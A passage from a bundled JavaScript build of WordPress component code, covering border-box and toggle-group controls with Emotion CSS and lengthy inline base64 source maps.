3RhYmxlLWxhcmdlJ1xuKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzhweCcgOiAnM3B4JyB9O1xuXHRcdCR7IHJ0bCggeyByaWdodDogMCB9ICkoKSB9XG5cdFx0bGluZS1oZWlnaHQ6IDA7XG5cdGA7XG59O1xuXG5jb25zdCBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayA9ICggYm9yZGVyPzogQm9yZGVyICkgPT4ge1xuXHRjb25zdCB7XG5cdFx0Y29sb3IgPSBDT0xPUlMuZ3JheVsgMjAwIF0sXG5cdFx0c3R5bGUgPSAnc29saWQnLFxuXHRcdHdpZHRoID0gQ09ORklHLmJvcmRlcldpZHRoLFxuXHR9ID0gYm9yZGVyIHx8IHt9O1xuXG5cdGNvbnN0IGNsYW1wZWRXaWR0aCA9XG5cdFx0d2lkdGggIT09IENPTkZJRy5ib3JkZXJXaWR0aCA/IGBjbGFtcCgxcHgsICR7IHdpZHRoIH0sIDEwcHgpYCA6IHdpZHRoO1xuXHRjb25zdCBoYXNWaXNpYmxlQm9yZGVyID0gKCAhISB3aWR0aCAmJiB3aWR0aCAhPT0gJzAnICkgfHwgISEgY29sb3I7XG5cdGNvbnN0IGJvcmRlclN0eWxlID0gaGFzVmlzaWJsZUJvcmRlciA/IHN0eWxlIHx8ICdzb2xpZCcgOiBzdHlsZTtcblxuXHRyZXR1cm4gYCR7IGNvbG9yIH0gJHsgYm9yZGVyU3R5bGUgfSAkeyBjbGFtcGVkV2lkdGggfWA7XG59O1xuXG5leHBvcnQgY29uc3QgYm9yZGVyQm94Q29udHJvbFZpc3VhbGl6ZXIgPSAoXG5cdGJvcmRlcnM/OiBCb3JkZXJzLFxuXHRzaXplPzogJ2RlZmF1bHQnIHwgJ19fdW5zdGFibGUtbGFyZ2UnXG4pID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0dG9wOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRyaWdodDogJHsgc2l6ZSA9PT0gJ19fdW5zdGFibGUtbGFyZ2UnID8gJzM5cHgnIDogJzI5cHgnIH07XG5cdFx0Ym90dG9tOiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMjBweCcgOiAnMTVweCcgfTtcblx0XHRsZWZ0OiAkeyBzaXplID09PSAnX191bnN0YWJsZS1sYXJnZScgPyAnMzlweCcgOiAnMjlweCcgfTtcblx0XHRib3JkZXItdG9wOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8udG9wICkgfTtcblx0XHRib3JkZXItYm90dG9tOiAkeyBib3JkZXJCb3hTdHlsZVdpdGhGYWxsYmFjayggYm9yZGVycz8uYm90dG9tICkgfTtcblx0XHQkeyBydGwoIHtcblx0XHRcdGJvcmRlckxlZnQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5sZWZ0ICksXG5cdFx0fSApKCkgfVxuXHRcdCR7IHJ0bCgge1xuXHRcdFx0Ym9yZGVyUmlnaHQ6IGJvcmRlckJveFN0eWxlV2l0aEZhbGxiYWNrKCBib3JkZXJzPy5yaWdodCApLFxuXHRcdH0gKSgpIH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBib3JkZXJCb3hDb250cm9sU3BsaXRDb250cm9scyA9IChcblx0c2l6ZT86ICdkZWZhdWx0JyB8ICdfX3Vuc3RhYmxlLWxhcmdlJ1xuKSA9PiBjc3NgXG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0ZmxleDogMTtcblx0d2lkdGg6ICR7IHNpemUgPT09ICdfX3Vuc3RhYmxlLWxhcmdlJyA/IHVuZGVmaW5lZCA6ICc4MCUnIH07XG5gO1xuXG5leHBvcnQgY29uc3QgY2VudGVyZWRCb3JkZXJDb250cm9sID0gY3NzYFxuXHRncmlkLWNvbHVtbjogc3BhbiAyO1xuXHRtYXJnaW46IDAgYXV0bztcbmA7XG5cbmV4cG9ydCBjb25zdCByaWdodEJvcmRlckNvbnRyb2wgPSAoKSA9PiBjc3NgXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAnYXV0bycgfSApKCkgfVxuYDtcbiJdfQ== */");
29432
29433 // packages/components/build-module/border-box-control/border-box-control-linked-button/hook.mjs
29434 function useBorderBoxControlLinkedButton(props) {
29435 const {
29436 className: className2,
29437 size: size3 = "default",
29438 ...otherProps
29439 } = useContextSystem(props, "BorderBoxControlLinkedButton");
29440 const cx3 = useCx();
29441 const classes = (0, import_element53.useMemo)(() => {
29442 return cx3(borderBoxControlLinkedButton(size3), className2);
29443 }, [className2, cx3, size3]);
29444 return {
29445 ...otherProps,
29446 className: classes
29447 };
29448 }
29449
29450 // packages/components/build-module/border-box-control/border-box-control-linked-button/component.mjs
29451 var import_jsx_runtime112 = __toESM(require_jsx_runtime(), 1);
29452 var BorderBoxControlLinkedButton = (props, forwardedRef) => {
29453 const {
29454 className: className2,
29455 isLinked,
29456 ...buttonProps
29457 } = useBorderBoxControlLinkedButton(props);
29458 const label = isLinked ? (0, import_i18n9.__)("Unlink sides") : (0, import_i18n9.__)("Link sides");
29459 return /* @__PURE__ */ (0, import_jsx_runtime112.jsx)(button_default, {
29460 ...buttonProps,
29461 size: "small",
29462 icon: isLinked ? link_default : link_off_default,
29463 iconSize: 24,
29464 label,
29465 ref: forwardedRef,
29466 className: className2
29467 });
29468 };
29469 var ConnectedBorderBoxControlLinkedButton = contextConnect(BorderBoxControlLinkedButton, "BorderBoxControlLinkedButton");
29470 var component_default10 = ConnectedBorderBoxControlLinkedButton;
29471
29472 // packages/components/build-module/border-box-control/border-box-control-split-controls/component.mjs
29473 var import_i18n25 = __toESM(require_i18n(), 1);
29474 var import_element89 = __toESM(require_element(), 1);
29475 var import_compose35 = __toESM(require_compose(), 1);
29476
29477 // packages/components/build-module/border-box-control/border-box-control-visualizer/hook.mjs
29478 var import_element54 = __toESM(require_element(), 1);
29479 function useBorderBoxControlVisualizer(props) {
29480 const {
29481 className: className2,
29482 value,
29483 size: size3 = "default",
29484 ...otherProps
29485 } = useContextSystem(props, "BorderBoxControlVisualizer");
29486 const cx3 = useCx();
29487 const classes = (0, import_element54.useMemo)(() => {
29488 return cx3(borderBoxControlVisualizer(value, size3), className2);
29489 }, [cx3, className2, value, size3]);
29490 return {
29491 ...otherProps,
29492 className: classes,
29493 value
29494 };
29495 }
29496
29497 // packages/components/build-module/border-box-control/border-box-control-visualizer/component.mjs
29498 var import_jsx_runtime113 = __toESM(require_jsx_runtime(), 1);
29499 var BorderBoxControlVisualizer = (props, forwardedRef) => {
29500 const {
29501 value,
29502 ...otherProps
29503 } = useBorderBoxControlVisualizer(props);
29504 return /* @__PURE__ */ (0, import_jsx_runtime113.jsx)(component_default, {
29505 ...otherProps,
29506 ref: forwardedRef
29507 });
29508 };
29509 var ConnectedBorderBoxControlVisualizer = contextConnect(BorderBoxControlVisualizer, "BorderBoxControlVisualizer");
29510 var component_default11 = ConnectedBorderBoxControlVisualizer;
29511
29512 // packages/components/build-module/border-control/border-control/component.mjs
29513 var import_i18n24 = __toESM(require_i18n(), 1);
29514
29515 // packages/components/build-module/border-control/border-control-dropdown/component.mjs
29516 var import_i18n22 = __toESM(require_i18n(), 1);
29517
29518 // packages/components/build-module/border-control/border-control-style-picker/component.mjs
29519 var import_i18n11 = __toESM(require_i18n(), 1);
29520
29521 // packages/components/build-module/toggle-group-control/toggle-group-control/component.mjs
29522 var import_element62 = __toESM(require_element(), 1);
29523 var import_compose25 = __toESM(require_compose(), 1);
29524
29525 // packages/components/build-module/toggle-group-control/toggle-group-control/styles.mjs
29526 function _EMOTION_STRINGIFIED_CSS_ERROR__10() {
29527 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
29528 }
29529 var toggleGroupControl = ({
29530 isBlock,
29531 isDeselectable,
29532 size: size3
29533 }) => /* @__PURE__ */ css("background:", COLORS.ui.background, ";border:1px solid transparent;border-radius:", config_values_default.radiusSmall, ";display:inline-flex;min-width:0;position:relative;", toggleGroupControlSize(size3), " ", !isDeselectable && enclosingBorders(isBlock), "@media not ( prefers-reduced-motion ){&[data-indicator-animated]::before{transition-property:transform,border-radius;transition-duration:0.2s;transition-timing-function:ease-out;}}&::before{content:'';position:absolute;pointer-events:none;background:", COLORS.theme.gray[100], ";border:1px solid ", COLORS.theme.gray[700], ";outline:2px solid transparent;outline-offset:-3px;border-radius:", config_values_default.radiusSmall, ";top:-1px;left:-2px;width:calc( calc( var( --selected-width, 0 ) * 1px ) + 2px );height:calc( calc( var( --selected-height, 0 ) * 1px ) + 2px );transform:translateX( calc( var( --selected-left, 0 ) * 1px ) );opacity:min(\n 1,\n max( 0, var( --selected-width, 0 ), var( --selected-height, 0 ) )\n );}" + (false ? "" : ";label:toggleGroupControl;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrQlUiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgVG9nZ2xlR3JvdXBDb250cm9sUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbmV4cG9ydCBjb25zdCB0b2dnbGVHcm91cENvbnRyb2wgPSAoIHtcblx0aXNCbG9jayxcblx0aXNEZXNlbGVjdGFibGUsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzQmxvY2snIHwgJ2lzRGVzZWxlY3RhYmxlJyA+ICYge1xuXHRzaXplOiBOb25OdWxsYWJsZTwgVG9nZ2xlR3JvdXBDb250cm9sUHJvcHNbICdzaXplJyBdID47XG59ICkgPT4gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtaW4td2lkdGg6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyB0b2dnbGVHcm91cENvbnRyb2xTaXplKCBzaXplICkgfVxuXHQkeyAhIGlzRGVzZWxlY3RhYmxlICYmIGVuY2xvc2luZ0JvcmRlcnMoIGlzQmxvY2sgKSB9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXM7XG5cdFx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAwLjJzO1xuXHRcdFx0dHJhbnNpdGlvbi10aW1pbmctZnVuY3Rpb246IGVhc2Utb3V0O1xuXHRcdH1cblx0fVxuXG5cdCY6OmJlZm9yZSB7XG5cdFx0Y29udGVudDogJyc7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAxMDAgXSB9O1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXG5cdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0b3V0bGluZS1vZmZzZXQ6IC0zcHg7XG5cblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0XHR0b3A6IC0xcHg7XG5cdFx0bGVmdDogLTJweDtcblx0XHR3aWR0aDogY2FsYyggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXdpZHRoLCAwICkgKiAxcHggKSArIDJweCApO1xuXHRcdGhlaWdodDogY2FsYyggY2FsYyggdmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApICogMXB4ICkgKyAycHggKTtcblx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIGNhbGMoIHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICkgKiAxcHggKSApO1xuXHRcdC8qIEhpZGUgd2hlbiBkaW1lbnNpb25zIGFyZSB1bnNldCAoMCkgKi9cblx0XHRvcGFjaXR5OiBtaW4oXG5cdFx0XHQxLFxuXHRcdFx0bWF4KCAwLCB2YXIoIC0tc2VsZWN0ZWQtd2lkdGgsIDAgKSwgdmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIClcblx0XHQpO1xuXHR9XG5gO1xuXG5jb25zdCBlbmNsb3NpbmdCb3JkZXJzID0gKCBpc0Jsb2NrOiBUb2dnbGVHcm91cENvbnRyb2xQcm9wc1sgJ2lzQmxvY2snIF0gKSA9PiB7XG5cdGNvbnN0IGVuY2xvc2luZ0JvcmRlciA9IGNzc2Bcblx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy5ncmF5WyAzMDAgXSB9O1xuXHRgO1xuXG5cdHJldHVybiBjc3NgXG5cdFx0JHsgaXNCbG9jayAmJiBlbmNsb3NpbmdCb3JkZXIgfVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy5ncmF5WyA0MDAgXSB9O1xuXHRcdH1cblxuXHRcdCY6Zm9jdXMtd2l0aGluIHtcblx0XHRcdHotaW5kZXg6IDE7XG5cdFx0XHRvdXRsaW5lOiAkeyBDT05GSUcuYm9yZGVyV2lkdGhGb2N1cyB9IHNvbGlkXG5cdFx0XHRcdCR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IDFweDtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgdG9nZ2xlR3JvdXBDb250cm9sU2l6ZSA9IChcblx0c2l6ZTogTm9uTnVsbGFibGU8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzWyAnc2l6ZScgXSA+XG4pID0+IHtcblx0Y29uc3Qgc3R5bGVzID0ge1xuXHRcdGRlZmF1bHQ6IGNzc2Bcblx0XHRcdGhlaWdodDogMzZweDtcblx0XHRgLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogY3NzYFxuXHRcdFx0aGVpZ2h0OiA0MHB4O1xuXHRcdGAsXG5cdH07XG5cblx0cmV0dXJuIHN0eWxlc1sgc2l6ZSBdO1xufTtcblxuZXhwb3J0IGNvbnN0IGJsb2NrID0gY3NzYFxuXHRkaXNwbGF5OiBmbGV4O1xuXHR3aWR0aDogMTAwJTtcbmA7XG5cbmV4cG9ydCBjb25zdCBWaXN1YWxMYWJlbFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvLyBNYWtlcyB0aGUgaW5saW5lIGxhYmVsIGJlIHRoZSBjb3JyZWN0IGhlaWdodCwgZXF1aXZhbGVudCB0byBzZXR0aW5nIGxpbmUtaGVpZ2h0OiAwXG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuIl19 */");
29534 var enclosingBorders = (isBlock) => {
29535 const enclosingBorder = /* @__PURE__ */ css("border-color:", COLORS.gray[300], ";" + (false ? "" : ";label:enclosingBorder;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUErRDRCIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHLCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuXG5leHBvcnQgY29uc3QgdG9nZ2xlR3JvdXBDb250cm9sID0gKCB7XG5cdGlzQmxvY2ssXG5cdGlzRGVzZWxlY3RhYmxlLFxuXHRzaXplLFxufTogUGljazwgVG9nZ2xlR3JvdXBDb250cm9sUHJvcHMsICdpc0Jsb2NrJyB8ICdpc0Rlc2VsZWN0YWJsZScgPiAmIHtcblx0c2l6ZTogTm9uTnVsbGFibGU8IFRvZ2dsZUdyb3VwQ29udHJvbFByb3BzWyAnc2l6ZScgXSA+O1xufSApID0+IGNzc2Bcblx0YmFja2dyb3VuZDogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0bWluLXdpZHRoOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cblx0JHsgdG9nZ2xlR3JvdXBDb250cm9sU2l6ZSggc2l6ZSApIH1cblx0JHsgISBpc0Rlc2VsZWN0YWJsZSAmJiBlbmNsb3NpbmdCb3JkZXJzKCBpc0Jsb2NrICkgfVxuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdCZbZGF0YS1pbmRpY2F0b3ItYW5pbWF0ZWRdOjpiZWZvcmUge1xuXHRcdFx0dHJhbnNpdGlvbi1wcm9wZXJ0eTogdHJhbnNmb3JtLCBib3JkZXItcmFkaXVzO1xuXHRcdFx0dHJhbnNpdGlvbi1kdXJhdGlvbjogMC4ycztcblx0XHRcdHRyYW5zaXRpb24tdGltaW5nLWZ1bmN0aW9uOiBlYXNlLW91dDtcblx0XHR9XG5cdH1cblxuXHQmOjpiZWZvcmUge1xuXHRcdGNvbnRlbnQ6ICcnO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMudGhlbWUuZ3JheVsgMTAwIF0gfTtcblx0XHRib3JkZXI6IDFweCBzb2xpZCAkeyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gfTtcblxuXHRcdC8vIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlIHdpbGwgc2hvdyB0aGlzIG91dGxpbmUsIGJ1dCBub3QgdGhlIGJveC1zaGFkb3cuXG5cdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdG91dGxpbmUtb2Zmc2V0OiAtM3B4O1xuXG5cdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdFx0dG9wOiAtMXB4O1xuXHRcdGxlZnQ6IC0ycHg7XG5cdFx0d2lkdGg6IGNhbGMoIGNhbGMoIHZhciggLS1zZWxlY3RlZC13aWR0aCwgMCApICogMXB4ICkgKyAycHggKTtcblx0XHRoZWlnaHQ6IGNhbGMoIGNhbGMoIHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSAqIDFweCApICsgMnB4ICk7XG5cdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCBjYWxjKCB2YXIoIC0tc2VsZWN0ZWQtbGVmdCwgMCApICogMXB4ICkgKTtcblx0XHQvKiBIaWRlIHdoZW4gZGltZW5zaW9ucyBhcmUgdW5zZXQgKDApICovXG5cdFx0b3BhY2l0eTogbWluKFxuXHRcdFx0MSxcblx0XHRcdG1heCggMCwgdmFyKCAtLXNlbGVjdGVkLXdpZHRoLCAwICksIHZhciggLS1zZWxlY3RlZC1oZWlnaHQsIDAgKSApXG5cdFx0KTtcblx0fVxuYDtcblxuY29uc3QgZW5jbG9zaW5nQm9yZGVycyA9ICggaXNCbG9jazogVG9nZ2xlR3JvdXBDb250cm9sUHJvcHNbICdpc0Jsb2NrJyBdICkgPT4ge1xuXHRjb25zdCBlbmNsb3NpbmdCb3JkZXIgPSBjc3NgXG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgMzAwIF0gfTtcblx0YDtcblxuXHRyZXR1cm4gY3NzYFxuXHRcdCR7IGlzQmxvY2sgJiYgZW5jbG9zaW5nQm9yZGVyIH1cblxuXHRcdCY6aG92ZXIge1xuXHRcdFx0Ym9yZGVyLWNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNDAwIF0gfTtcblx0XHR9XG5cblx0XHQmOmZvY3VzLXdpdGhpbiB7XG5cdFx0XHR6LWluZGV4OiAxO1xuXHRcdFx0b3V0bGluZTogJHsgQ09ORklHLmJvcmRlcldpZHRoRm9jdXMgfSBzb2xpZFxuXHRcdFx0XHQkeyBDT0xPUlMudWkuYm9yZGVyRm9jdXMgfTtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAxcHg7XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IHRvZ2dsZUdyb3VwQ29udHJvbFNpemUgPSAoXG5cdHNpemU6IE5vbk51bGxhYmxlPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wc1sgJ3NpemUnIF0gPlxuKSA9PiB7XG5cdGNvbnN0IHN0eWxlcyA9IHtcblx0XHRkZWZhdWx0OiBjc3NgXG5cdFx0XHRoZWlnaHQ6IDM2cHg7XG5cdFx0YCxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IGNzc2Bcblx0XHRcdGhlaWdodDogNDBweDtcblx0XHRgLFxuXHR9O1xuXG5cdHJldHVybiBzdHlsZXNbIHNpemUgXTtcbn07XG5cbmV4cG9ydCBjb25zdCBibG9jayA9IGNzc2Bcblx0ZGlzcGxheTogZmxleDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgVmlzdWFsTGFiZWxXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Ly8gTWFrZXMgdGhlIGlubGluZSBsYWJlbCBiZSB0aGUgY29ycmVjdCBoZWlnaHQsIGVxdWl2YWxlbnQgdG8gc2V0dGluZyBsaW5lLWhlaWdodDogMFxuXHRkaXNwbGF5OiBmbGV4O1xuYDtcbiJdfQ== */");
29536 return /* @__PURE__ */ css(isBlock && enclosingBorder, " &:hover{border-color:", COLORS.gray[400], ";}&:focus-within{z-index:1;outline:", config_values_default.borderWidthFocus, " solid ", COLORS.ui.borderFocus, ";outline-offset:1px;}" + (false ? "" : ";label:enclosingBorders;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFtRVciLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT05GSUcsIENPTE9SUyB9IGZyb20gJy4uLy4uL3V0aWxzJztcbmltcG9ydCB0eXBlIHsgVG9nZ2xlR3JvdXBDb250cm9sUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbmV4cG9ydCBjb25zdCB0b2dnbGVHcm91cENvbnRyb2wgPSAoIHtcblx0aXNCbG9jayxcblx0aXNEZXNlbGVjdGFibGUsXG5cdHNpemUsXG59OiBQaWNrPCBUb2dnbGVHcm91cENvbnRyb2xQcm9wcywgJ2lzQmxvY2snIHwgJ2lzRGVzZWxlY3RhYmxlJyA+ICYge1xuXHRzaXplOiBOb25OdWxsYWJsZTwgVG9nZ2xlR3JvdXBDb250cm9sUHJvcHNbICdzaXplJyBdID47XG59ICkgPT4gY3NzYFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRtaW4td2lkdGg6IDA7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyB0b2dnbGVHcm91cENvbnRyb2xTaXplKCBzaXplICkgfVxuXHQkeyAhIGlzRGVzZWxlY3RhYmxlICYmIGVuY2xvc2luZ0JvcmRlcnMoIGlzQmxvY2sgKSB9XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0JltkYXRhLWluZGljYXRvci1hbmltYXRlZF06OmJlZm9yZSB7XG5cdFx0XHR0cmFuc2l0aW9uLXByb3BlcnR5OiB0cmFuc2Zvcm0sIGJvcmRlci1yYWRpdXM7XG5cdFx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAwLjJzO1xuXHRcdFx0dHJhbnNpdGlvbi10aW1pbmctZnVuY3Rpb246IGVhc2Utb3V0O1xuXHRcdH1cblx0fVxuXG5cdCY6OmJlZm9yZSB7XG5cdFx0Y29udGVudDogJyc7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdGJhY2tncm91bmQ6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAxMDAgXSB9O1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkICR7IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSB9O1xuXG5cdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRvdXRsaW5lOiAycHggc29saWQgdHJhbnNwYXJlbnQ7XG5cdFx0b3V0bGluZS1vZmZzZXQ6IC0zcHg7XG5cblx0XHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0XHR0b3A6IC0xcHg7XG5cdFx0bGVmdDogLTJweDtcblx0XHR3aWR0aDogY2FsYyggY2FsYyggdmFyKCAtLXNlbGVjdGVkLXdpZHRoLCAwICkgKiAxcHggKSArIDJweCApO1xuXHRcdGhlaWdodDogY2FsYyggY2FsYyggdmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApICogMXB4ICkgKyAycHggKTtcblx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIGNhbGMoIHZhciggLS1zZWxlY3RlZC1sZWZ0LCAwICkgKiAxcHggKSApO1xuXHRcdC8qIEhpZGUgd2hlbiBkaW1lbnNpb25zIGFyZSB1bnNldCAoMCkgKi9cblx0XHRvcGFjaXR5OiBtaW4oXG5cdFx0XHQxLFxuXHRcdFx0bWF4KCAwLCB2YXIoIC0tc2VsZWN0ZWQtd2lkdGgsIDAgKSwgdmFyKCAtLXNlbGVjdGVkLWhlaWdodCwgMCApIClcblx0XHQpO1xuXHR9XG5gO1xuXG5jb25zdCBlbmNsb3NpbmdCb3JkZXJzID0gKCBpc0Jsb2NrOiBUb2dnbGVHcm91cENvbnRyb2xQcm9wc1sgJ2lzQmxvY2snIF0gKSA9PiB7XG5cdGNvbnN0IGVuY2xvc2luZ0JvcmRlciA9IGNzc2Bcblx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy5ncmF5WyAzMDAgXSB9O1xuXHRgO1xuXG5cdHJldHVybiBjc3NgXG5cdFx0JHsgaXNCbG9jayAmJiBlbmNsb3NpbmdCb3JkZXIgfVxuXG5cdFx0Jjpob3ZlciB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE